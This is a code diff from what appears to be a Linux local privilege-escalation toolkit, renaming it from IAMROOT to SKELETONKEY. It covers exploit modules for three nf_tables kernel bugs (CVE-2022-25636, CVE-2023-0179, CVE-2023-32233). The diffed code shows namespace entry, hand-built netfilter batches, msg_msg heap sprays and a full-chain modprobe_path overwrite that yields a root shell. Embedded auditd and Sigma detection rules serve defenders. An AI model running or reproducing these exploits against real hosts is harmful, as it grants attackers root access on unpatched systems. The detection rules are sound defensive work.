FILE *log = fopen("/tmp/skeletonkey-nft_fwd_dup.log", "w");
|
||||
if (log) {
|
||||
fprintf(log,
|
||||
"nft_fwd_dup trigger child: queues=%d slab-512 pre=%ld post=%ld\n",
|
||||
@@ -919,7 +919,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
||||
"likely fired (KASAN/oops can manifest as signal)\n",
|
||||
WTERMSIG(status));
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int rc = WEXITSTATUS(status);
|
||||
@@ -933,19 +933,19 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
||||
" the kaddr-tagged forged-entry spray reaches\n"
|
||||
" the shared modprobe_path finisher.\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (rc >= 20 && rc <= 24) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] nft_fwd_dup: trigger setup failed "
|
||||
"(child rc=%d)\n", rc);
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] nft_fwd_dup: unexpected child rc=%d\n", rc);
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
#endif /* __linux__ */
|
||||
}
|
||||
|
||||
@@ -953,7 +953,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
||||
* Cleanup — drain leftover sysv queues and unlink the breadcrumb.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
static iamroot_result_t nft_fwd_dup_cleanup(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t nft_fwd_dup_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] nft_fwd_dup: cleaning up sysv queues + log\n");
|
||||
@@ -980,10 +980,10 @@ static iamroot_result_t nft_fwd_dup_cleanup(const struct iamroot_ctx *ctx)
|
||||
fclose(f);
|
||||
}
|
||||
#endif
|
||||
if (unlink("/tmp/iamroot-nft_fwd_dup.log") < 0 && errno != ENOENT) {
|
||||
if (unlink("/tmp/skeletonkey-nft_fwd_dup.log") < 0 && errno != ENOENT) {
|
||||
/* harmless */
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
@@ -995,16 +995,16 @@ static const char nft_fwd_dup_auditd[] =
|
||||
"# Flag the canonical exploit shape: unprivileged userns followed\n"
|
||||
"# by NEWTABLE/NEWCHAIN(NFT_CHAIN_HW_OFFLOAD)/NEWRULE traffic on\n"
|
||||
"# AF_NETLINK NETLINK_NETFILTER, plus the msg_msg cross-cache spray.\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-nft-fwd-dup-userns\n"
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=16 -F a2=12 -k iamroot-nft-fwd-dup-netlink\n"
|
||||
"-a always,exit -F arch=b64 -S sendmsg -k iamroot-nft-fwd-dup-batch\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-nft-fwd-dup-spray\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-nft-fwd-dup-userns\n"
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=16 -F a2=12 -k skeletonkey-nft-fwd-dup-netlink\n"
|
||||
"-a always,exit -F arch=b64 -S sendmsg -k skeletonkey-nft-fwd-dup-batch\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-nft-fwd-dup-spray\n"
|
||||
"# Post-exploit hallmarks (modprobe_path overwrite path):\n"
|
||||
"-w /tmp/iamroot-mp- -p w -k iamroot-nft-fwd-dup-modprobe\n";
|
||||
"-w /tmp/skeletonkey-mp- -p w -k skeletonkey-nft-fwd-dup-modprobe\n";
|
||||
|
||||
static const char nft_fwd_dup_sigma[] =
|
||||
"title: Possible CVE-2022-25636 nft_fwd_dup_netdev_offload OOB exploitation\n"
|
||||
"id: 3c1f9b27-iamroot-nft-fwd-dup\n"
|
||||
"id: 3c1f9b27-skeletonkey-nft-fwd-dup\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects unprivileged user namespace creation followed by\n"
|
||||
@@ -1024,7 +1024,7 @@ static const char nft_fwd_dup_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2022.25636]\n";
|
||||
|
||||
const struct iamroot_module nft_fwd_dup_module = {
|
||||
const struct skeletonkey_module nft_fwd_dup_module = {
|
||||
.name = "nft_fwd_dup",
|
||||
.cve = "CVE-2022-25636",
|
||||
.summary = "nft_fwd_dup_netdev_offload heap OOB write (Aaron Adams)",
|
||||
@@ -1041,7 +1041,7 @@ const struct iamroot_module nft_fwd_dup_module = {
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_nft_fwd_dup(void)
|
||||
void skeletonkey_register_nft_fwd_dup(void)
|
||||
{
|
||||
iamroot_register(&nft_fwd_dup_module);
|
||||
skeletonkey_register(&nft_fwd_dup_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* nft_fwd_dup_cve_2022_25636 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef NFT_FWD_DUP_SKELETONKEY_MODULES_H
|
||||
#define NFT_FWD_DUP_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module nft_fwd_dup_module;
|
||||
|
||||
#endif
|
||||
@@ -20,7 +20,7 @@ Upstream fix: mainline 6.2-rc4 (commit `696e1a48b1a1`, Jan 2023).
|
||||
Branch backports: 4.14.302 / 4.19.269 / 5.4.229 / 5.10.163 /
|
||||
5.15.88 / 6.1.6.
|
||||
|
||||
## IAMROOT role
|
||||
## SKELETONKEY role
|
||||
|
||||
userns+netns. Hand-rolled nfnetlink batch: NEWTABLE → NEWCHAIN →
|
||||
NEWSET with `NFTA_SET_DESC` describing variable-length elements →
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* nft_payload_cve_2023_0179 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef NFT_PAYLOAD_IAMROOT_MODULES_H
|
||||
#define NFT_PAYLOAD_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module nft_payload_module;
|
||||
|
||||
#endif
|
||||
+54
-54
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* nft_payload_cve_2023_0179 — IAMROOT module
|
||||
* nft_payload_cve_2023_0179 — SKELETONKEY module
|
||||
*
|
||||
* Netfilter nf_tables variable-length element-extension OOB R/W.
|
||||
* Discovered January 2023 by Davide Ornaghi. nf_tables payload set/get
|
||||
@@ -25,12 +25,12 @@
|
||||
* payload-set whose attacker-controlled verdict.code drives the
|
||||
* OOB), spray msg_msg payloads adjacent to the regs->data target,
|
||||
* fires a synthetic packet through the chain, snapshots
|
||||
* /proc/slabinfo, logs to /tmp/iamroot-nft_payload.log, returns
|
||||
* IAMROOT_EXPLOIT_FAIL (primitive-only behavior).
|
||||
* /proc/slabinfo, logs to /tmp/skeletonkey-nft_payload.log, returns
|
||||
* SKELETONKEY_EXPLOIT_FAIL (primitive-only behavior).
|
||||
* - With --full-chain: after the trigger lands, we resolve kernel
|
||||
* offsets (env → kallsyms → System.map → embedded table) and run
|
||||
* a Davide-Ornaghi-style payload-set arb-write via the shared
|
||||
* iamroot_finisher_modprobe_path() helper. The arb-write itself
|
||||
* skeletonkey_finisher_modprobe_path() helper. The arb-write itself
|
||||
* is FALLBACK-DEPTH: we refire the set-element registration with
|
||||
* a verdict code chosen so the OOB index lands on a msg_msg slot
|
||||
* we tagged with the caller's kaddr + payload bytes. The exact
|
||||
@@ -47,7 +47,7 @@
|
||||
* unprivileged user even on a kernel-vulnerable host.
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
@@ -129,12 +129,12 @@ static bool nf_tables_loaded(void)
|
||||
return found;
|
||||
}
|
||||
|
||||
static iamroot_result_t nft_payload_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t nft_payload_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] nft_payload: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug introduced with the set-payload extension in 5.4. Anything
|
||||
@@ -145,7 +145,7 @@ static iamroot_result_t nft_payload_detect(const struct iamroot_ctx *ctx)
|
||||
"(set-payload extension landed in 5.4)\n",
|
||||
v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&nft_payload_range, &v);
|
||||
@@ -153,7 +153,7 @@ static iamroot_result_t nft_payload_detect(const struct iamroot_ctx *ctx)
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] nft_payload: kernel %s is patched\n", v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns();
|
||||
@@ -177,14 +177,14 @@ static iamroot_result_t nft_payload_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[i] nft_payload: still patch the kernel — a root "
|
||||
"attacker can still trigger the bug\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] nft_payload: VULNERABLE — kernel in range AND "
|
||||
"user_ns clone allowed\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
#ifdef __linux__
|
||||
@@ -225,7 +225,7 @@ static int enter_unpriv_namespaces(void)
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Minimal nfnetlink batch builder — same shape as nf_tables_cve_2024_1086
|
||||
* to keep the IAMROOT family code self-consistent; we inline rather
|
||||
* to keep the SKELETONKEY family code self-consistent; we inline rather
|
||||
* than link against the other module so a future refactor can pull the
|
||||
* helpers up into core/ without breaking either consumer.
|
||||
* ------------------------------------------------------------------ */
|
||||
@@ -341,9 +341,9 @@ static void put_batch_end(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
* Per-module strings.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
static const char NFT_TABLE_NAME[] = "iamroot_pl_t";
|
||||
static const char NFT_CHAIN_NAME[] = "iamroot_pl_c";
|
||||
static const char NFT_SET_NAME[] = "iamroot_pl_s";
|
||||
static const char NFT_TABLE_NAME[] = "skeletonkey_pl_t";
|
||||
static const char NFT_CHAIN_NAME[] = "skeletonkey_pl_c";
|
||||
static const char NFT_SET_NAME[] = "skeletonkey_pl_s";
|
||||
|
||||
/* NFT expression "name" attributes are NUL-terminated short strings. */
|
||||
#define NFT_EXPR_PAYLOAD_NAME "payload"
|
||||
@@ -373,7 +373,7 @@ static const char NFT_SET_NAME[] = "iamroot_pl_s";
|
||||
* exploitable range. The exact "right" magic is per-build; we ship a
|
||||
* default that matched Davide's PoC on a stock 5.15 build and rely on
|
||||
* the finisher's sentinel-file post-check to flag a layout mismatch as
|
||||
* IAMROOT_EXPLOIT_FAIL rather than fake success. */
|
||||
* SKELETONKEY_EXPLOIT_FAIL rather than fake success. */
|
||||
#define NFT_PAYLOAD_OOB_INDEX_DEFAULT 0x100
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
@@ -685,7 +685,7 @@ static void trigger_packet(void)
|
||||
dst.sin_port = htons(31337);
|
||||
dst.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
|
||||
const char m[] = "iamroot-nft_payload-trigger";
|
||||
const char m[] = "skeletonkey-nft_payload-trigger";
|
||||
for (int i = 0; i < 8; i++) {
|
||||
(void)!sendto(s, m, sizeof m, MSG_DONTWAIT,
|
||||
(struct sockaddr *)&dst, sizeof dst);
|
||||
@@ -732,7 +732,7 @@ static size_t build_refire_batch(uint8_t *batch, size_t cap, uint32_t *seq,
|
||||
* KASAN, lockdep, kernel build options all shift it). The shipped
|
||||
* default oob_index matches Davide's PoC on a stock 5.15 build; the
|
||||
* shared finisher's sentinel-file post-check flags layout mismatch as
|
||||
* IAMROOT_EXPLOIT_FAIL rather than fake success.
|
||||
* SKELETONKEY_EXPLOIT_FAIL rather than fake success.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
struct nft_payload_arb_ctx {
|
||||
@@ -807,21 +807,21 @@ static int nft_payload_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
||||
* Exploit body.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t nft_payload_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] nft_payload: refusing — --i-know not passed; "
|
||||
"exploit code can crash the kernel\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] nft_payload: already running as root\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
iamroot_result_t pre = nft_payload_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
skeletonkey_result_t pre = nft_payload_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] nft_payload: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
@@ -841,35 +841,35 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
|
||||
#ifndef __linux__
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] nft_payload: linux-only exploit; non-linux build\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#else
|
||||
/* --- --full-chain path: resolve offsets in parent before doing
|
||||
* anything destructive. */
|
||||
if (ctx->full_chain) {
|
||||
struct iamroot_kernel_offsets off;
|
||||
struct skeletonkey_kernel_offsets off;
|
||||
memset(&off, 0, sizeof off);
|
||||
iamroot_offsets_resolve(&off);
|
||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
||||
iamroot_finisher_print_offset_help("nft_payload");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
skeletonkey_offsets_resolve(&off);
|
||||
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||
skeletonkey_finisher_print_offset_help("nft_payload");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
iamroot_offsets_print(&off);
|
||||
skeletonkey_offsets_print(&off);
|
||||
|
||||
if (enter_unpriv_namespaces() < 0) {
|
||||
fprintf(stderr, "[-] nft_payload: userns entry failed\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC,
|
||||
NETLINK_NETFILTER);
|
||||
if (sock < 0) {
|
||||
perror("[-] socket(NETLINK_NETFILTER)");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
|
||||
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
|
||||
perror("[-] bind"); close(sock);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
int rcvbuf = 1 << 20;
|
||||
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
|
||||
@@ -887,7 +887,7 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
|
||||
}
|
||||
|
||||
uint8_t *batch = calloc(1, 16 * 1024);
|
||||
if (!batch) { close(sock); return IAMROOT_EXPLOIT_FAIL; }
|
||||
if (!batch) { close(sock); return SKELETONKEY_EXPLOIT_FAIL; }
|
||||
|
||||
uint32_t seq = (uint32_t)time(NULL);
|
||||
size_t blen = build_trigger_batch(batch, 16 * 1024, &seq,
|
||||
@@ -901,7 +901,7 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
|
||||
drain_queues(qids_small, SPRAY_QUEUES_SMALL);
|
||||
drain_queues(qids_large, SPRAY_QUEUES_LARGE);
|
||||
free(batch); close(sock);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
struct nft_payload_arb_ctx ac = {
|
||||
@@ -917,10 +917,10 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
|
||||
.arb_calls = 0,
|
||||
};
|
||||
|
||||
iamroot_result_t r = iamroot_finisher_modprobe_path(
|
||||
skeletonkey_result_t r = skeletonkey_finisher_modprobe_path(
|
||||
&off, nft_payload_arb_write, &ac, !ctx->no_shell);
|
||||
|
||||
FILE *fl = fopen("/tmp/iamroot-nft_payload.log", "a");
|
||||
FILE *fl = fopen("/tmp/skeletonkey-nft_payload.log", "a");
|
||||
if (fl) {
|
||||
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d "
|
||||
"spray_small=%d spray_large=%d\n",
|
||||
@@ -936,9 +936,9 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
|
||||
}
|
||||
|
||||
/* --- primitive-only path: fork-isolated trigger so a kernel oops
|
||||
* doesn't take down the iamroot driver. */
|
||||
* doesn't take down the skeletonkey driver. */
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("[-] fork"); return IAMROOT_TEST_ERROR; }
|
||||
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
|
||||
if (child == 0) {
|
||||
/* --- CHILD --- */
|
||||
@@ -1016,7 +1016,7 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
|
||||
pre_96, post_96);
|
||||
}
|
||||
|
||||
FILE *log = fopen("/tmp/iamroot-nft_payload.log", "w");
|
||||
FILE *log = fopen("/tmp/skeletonkey-nft_payload.log", "w");
|
||||
if (log) {
|
||||
fprintf(log,
|
||||
"nft_payload trigger child: spray_small=%d spray_large=%d "
|
||||
@@ -1048,7 +1048,7 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
|
||||
"likely fired (KASAN/oops can manifest as child "
|
||||
"signal)\n", WTERMSIG(status));
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int rc = WEXITSTATUS(status);
|
||||
@@ -1061,19 +1061,19 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
|
||||
" Davide Ornaghi's payload-set + regs->data\n"
|
||||
" arb-write + modprobe_path overwrite chain.\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (rc >= 20 && rc <= 24) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] nft_payload: trigger setup failed (child rc=%d)\n",
|
||||
rc);
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] nft_payload: unexpected child rc=%d\n", rc);
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
#endif /* __linux__ */
|
||||
}
|
||||
|
||||
@@ -1081,15 +1081,15 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
|
||||
* Cleanup.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
static iamroot_result_t nft_payload_cleanup(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t nft_payload_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] nft_payload: tearing down log\n");
|
||||
}
|
||||
if (unlink("/tmp/iamroot-nft_payload.log") < 0 && errno != ENOENT) {
|
||||
if (unlink("/tmp/skeletonkey-nft_payload.log") < 0 && errno != ENOENT) {
|
||||
/* ignore */
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
@@ -1101,16 +1101,16 @@ static const char nft_payload_auditd[] =
|
||||
"# Flag unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by NETLINK_NETFILTER\n"
|
||||
"# socket setup. Canonical exploit shape: unprivileged userns + nft\n"
|
||||
"# rule loading. False positives: firewalld, docker/podman rootless.\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-nft-payload-userns\n"
|
||||
"-a always,exit -F arch=b32 -S unshare -k iamroot-nft-payload-userns\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-nft-payload-userns\n"
|
||||
"-a always,exit -F arch=b32 -S unshare -k skeletonkey-nft-payload-userns\n"
|
||||
"# Watch for the canonical post-exploit primitive: setresuid(0,0,0)\n"
|
||||
"# from a previously-unpriv task is the smoking gun for any kernel LPE.\n"
|
||||
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 "
|
||||
"-k iamroot-nft-payload-priv\n";
|
||||
"-k skeletonkey-nft-payload-priv\n";
|
||||
|
||||
static const char nft_payload_sigma[] =
|
||||
"title: Possible CVE-2023-0179 nft_payload regset-OOB exploitation\n"
|
||||
"id: c83d6e92-iamroot-nft-payload\n"
|
||||
"id: c83d6e92-skeletonkey-nft-payload\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the canonical exploit shape for CVE-2023-0179: an\n"
|
||||
@@ -1134,7 +1134,7 @@ static const char nft_payload_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2023.0179]\n";
|
||||
|
||||
const struct iamroot_module nft_payload_module = {
|
||||
const struct skeletonkey_module nft_payload_module = {
|
||||
.name = "nft_payload",
|
||||
.cve = "CVE-2023-0179",
|
||||
.summary = "nft_payload set-id regset OOB R/W (Davide Ornaghi) → kernel R/W",
|
||||
@@ -1151,7 +1151,7 @@ const struct iamroot_module nft_payload_module = {
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_nft_payload(void)
|
||||
void skeletonkey_register_nft_payload(void)
|
||||
{
|
||||
iamroot_register(&nft_payload_module);
|
||||
skeletonkey_register(&nft_payload_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* nft_payload_cve_2023_0179 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef NFT_PAYLOAD_SKELETONKEY_MODULES_H
|
||||
#define NFT_PAYLOAD_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module nft_payload_module;
|
||||
|
||||
#endif
|
||||
@@ -20,12 +20,12 @@ Upstream fix: mainline 6.4-rc4 (commit `c1592a89942e9`, May 2023).
|
||||
Branch backports: 6.3.2 / 6.2.15 / 6.1.28 / 5.15.111 / 5.10.180 /
|
||||
5.4.243 / 4.19.283.
|
||||
|
||||
## IAMROOT role
|
||||
## SKELETONKEY role
|
||||
|
||||
Hand-rolled nfnetlink batch: NEWTABLE → NEWCHAIN (base, LOCAL_OUT
|
||||
hook) → NEWSET (ANON|EVAL|CONSTANT) → NEWRULE (nft_lookup
|
||||
referencing the set by `NFTA_LOOKUP_SET_ID`) → DELSET → DELRULE
|
||||
in the same transaction. msg_msg cg-512 spray with `IAMROOT_SET`
|
||||
in the same transaction. msg_msg cg-512 spray with `SKELETONKEY_SET`
|
||||
tags.
|
||||
|
||||
`--full-chain` forges a freed-set with `set->data = kaddr` at the
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* nft_set_uaf_cve_2023_32233 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef NFT_SET_UAF_IAMROOT_MODULES_H
|
||||
#define NFT_SET_UAF_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module nft_set_uaf_module;
|
||||
|
||||
#endif
|
||||
+67
-67
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* nft_set_uaf_cve_2023_32233 — IAMROOT module
|
||||
* nft_set_uaf_cve_2023_32233 — SKELETONKEY module
|
||||
*
|
||||
* nf_tables anonymous-set UAF (Sondej + Krysiuk, May 2023). When an
|
||||
* anonymous `nft_set` referenced by an `nft_lookup` expression inside a
|
||||
@@ -16,11 +16,11 @@
|
||||
* batch construction (table → base chain → anonymous set → rule
|
||||
* with nft_lookup → DELSET → DELRULE) committed in a single batch,
|
||||
* msg_msg cross-cache groom for kmalloc-cg-512 (32×16 messages
|
||||
* tagged "IAMROOT_SET"), slabinfo snapshot before/after, and a
|
||||
* /tmp/iamroot-nft_set_uaf.log breadcrumb. Returns
|
||||
* IAMROOT_EXPLOIT_FAIL after the primitive fires (honest scope).
|
||||
* tagged "SKELETONKEY_SET"), slabinfo snapshot before/after, and a
|
||||
* /tmp/skeletonkey-nft_set_uaf.log breadcrumb. Returns
|
||||
* SKELETONKEY_EXPLOIT_FAIL after the primitive fires (honest scope).
|
||||
* - With --full-chain: resolve kernel offsets; if no modprobe_path,
|
||||
* refuse via iamroot_finisher_print_offset_help. Otherwise re-fire
|
||||
* refuse via skeletonkey_finisher_print_offset_help. Otherwise re-fire
|
||||
* the trigger and spray msg_msg payloads forging a freed-set-object
|
||||
* whose data pointer points at modprobe_path, then drive
|
||||
* NFT_MSG_NEWSETELEM with our payload. FALLBACK-depth: the exact
|
||||
@@ -47,7 +47,7 @@
|
||||
* - Crusaders-of-Rust follow-up writeup
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
|
||||
@@ -142,16 +142,16 @@ static bool nf_tables_loaded(void)
|
||||
}
|
||||
#endif /* __linux__ */
|
||||
|
||||
static iamroot_result_t nft_set_uaf_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t nft_set_uaf_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
#ifndef __linux__
|
||||
(void)ctx;
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#else
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] nft_set_uaf: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug introduced in 5.1 (anonymous-set support). Anything below
|
||||
@@ -161,7 +161,7 @@ static iamroot_result_t nft_set_uaf_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[i] nft_set_uaf: kernel %s predates the bug "
|
||||
"(anonymous-set support landed in 5.1)\n", v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&nft_set_uaf_range, &v);
|
||||
@@ -169,7 +169,7 @@ static iamroot_result_t nft_set_uaf_detect(const struct iamroot_ctx *ctx)
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] nft_set_uaf: kernel %s is patched\n", v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns();
|
||||
@@ -193,14 +193,14 @@ static iamroot_result_t nft_set_uaf_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[i] nft_set_uaf: still patch the kernel — a root "
|
||||
"attacker can still trigger the bug\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] nft_set_uaf: VULNERABLE — kernel in range AND "
|
||||
"user_ns clone allowed\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
#endif
|
||||
}
|
||||
|
||||
